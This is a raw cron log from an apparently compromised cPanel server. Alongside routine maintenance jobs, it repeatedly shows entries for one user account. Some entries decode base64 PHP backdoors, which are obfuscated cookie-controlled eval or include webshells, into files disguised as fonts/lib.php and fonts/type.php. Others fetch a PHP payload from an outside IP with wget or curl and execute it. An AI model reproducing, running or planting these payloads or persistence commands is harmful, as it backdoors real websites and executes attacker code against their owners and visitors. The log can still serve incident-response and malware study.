Sep  2 07:59:01 ip-184-168-122-23 CROND[10137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:59:01 ip-184-168-122-23 CROND[10142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:00:02 ip-184-168-122-23 CROND[10267]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 08:00:02 ip-184-168-122-23 CROND[10269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:00:02 ip-184-168-122-23 CROND[10270]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 08:00:02 ip-184-168-122-23 CROND[10272]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  2 08:00:02 ip-184-168-122-23 CROND[10271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:00:02 ip-184-168-122-23 CROND[10273]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:00:02 ip-184-168-122-23 CROND[10275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:00:02 ip-184-168-122-23 CROND[10276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:00:02 ip-184-168-122-23 CROND[10277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:00:02 ip-184-168-122-23 CROND[10274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:01:01 ip-184-168-122-23 CROND[10395]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 08:01:01 ip-184-168-122-23 CROND[10396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:01:01 ip-184-168-122-23 CROND[10397]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 08:01:01 ip-184-168-122-23 CROND[10401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:01:01 ip-184-168-122-23 CROND[10399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:01:01 ip-184-168-122-23 CROND[10400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10395]: starting 0anacron
Sep  2 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10417]: finished 0anacron
Sep  2 08:02:01 ip-184-168-122-23 CROND[10516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:02:01 ip-184-168-122-23 CROND[10518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:02:01 ip-184-168-122-23 CROND[10519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:02:01 ip-184-168-122-23 CROND[10520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:02:01 ip-184-168-122-23 CROND[10521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:03:02 ip-184-168-122-23 CROND[10707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:03:02 ip-184-168-122-23 CROND[10709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:03:02 ip-184-168-122-23 CROND[10710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:03:02 ip-184-168-122-23 CROND[10711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:04:01 ip-184-168-122-23 CROND[10826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:04:01 ip-184-168-122-23 CROND[10830]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:04:01 ip-184-168-122-23 CROND[10831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:04:01 ip-184-168-122-23 CROND[10828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:04:01 ip-184-168-122-23 CROND[10829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:05:01 ip-184-168-122-23 CROND[10926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:05:01 ip-184-168-122-23 CROND[10928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:05:01 ip-184-168-122-23 CROND[10929]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:05:01 ip-184-168-122-23 CROND[10930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:05:01 ip-184-168-122-23 CROND[10931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:05:01 ip-184-168-122-23 CROND[10932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:05:01 ip-184-168-122-23 CROND[10934]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 08:06:01 ip-184-168-122-23 CROND[11028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:06:01 ip-184-168-122-23 CROND[11026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:06:01 ip-184-168-122-23 CROND[11027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:06:01 ip-184-168-122-23 CROND[11029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:06:01 ip-184-168-122-23 CROND[11030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:07:01 ip-184-168-122-23 CROND[11142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:07:01 ip-184-168-122-23 CROND[11145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:07:01 ip-184-168-122-23 CROND[11144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:07:01 ip-184-168-122-23 CROND[11146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:08:01 ip-184-168-122-23 CROND[11233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:08:01 ip-184-168-122-23 CROND[11237]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:08:01 ip-184-168-122-23 CROND[11236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:08:01 ip-184-168-122-23 CROND[11238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:08:01 ip-184-168-122-23 CROND[11244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:09:01 ip-184-168-122-23 CROND[11423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:09:01 ip-184-168-122-23 CROND[11425]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 08:09:01 ip-184-168-122-23 CROND[11428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:09:01 ip-184-168-122-23 CROND[11426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:09:01 ip-184-168-122-23 CROND[11427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:10:01 ip-184-168-122-23 CROND[11528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 08:10:01 ip-184-168-122-23 CROND[11530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:10:01 ip-184-168-122-23 CROND[11537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:10:01 ip-184-168-122-23 CROND[11535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:10:01 ip-184-168-122-23 CROND[11534]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:10:01 ip-184-168-122-23 CROND[11538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:10:01 ip-184-168-122-23 CROND[11536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:10:01 ip-184-168-122-23 CROND[11539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:11:01 ip-184-168-122-23 CROND[11687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
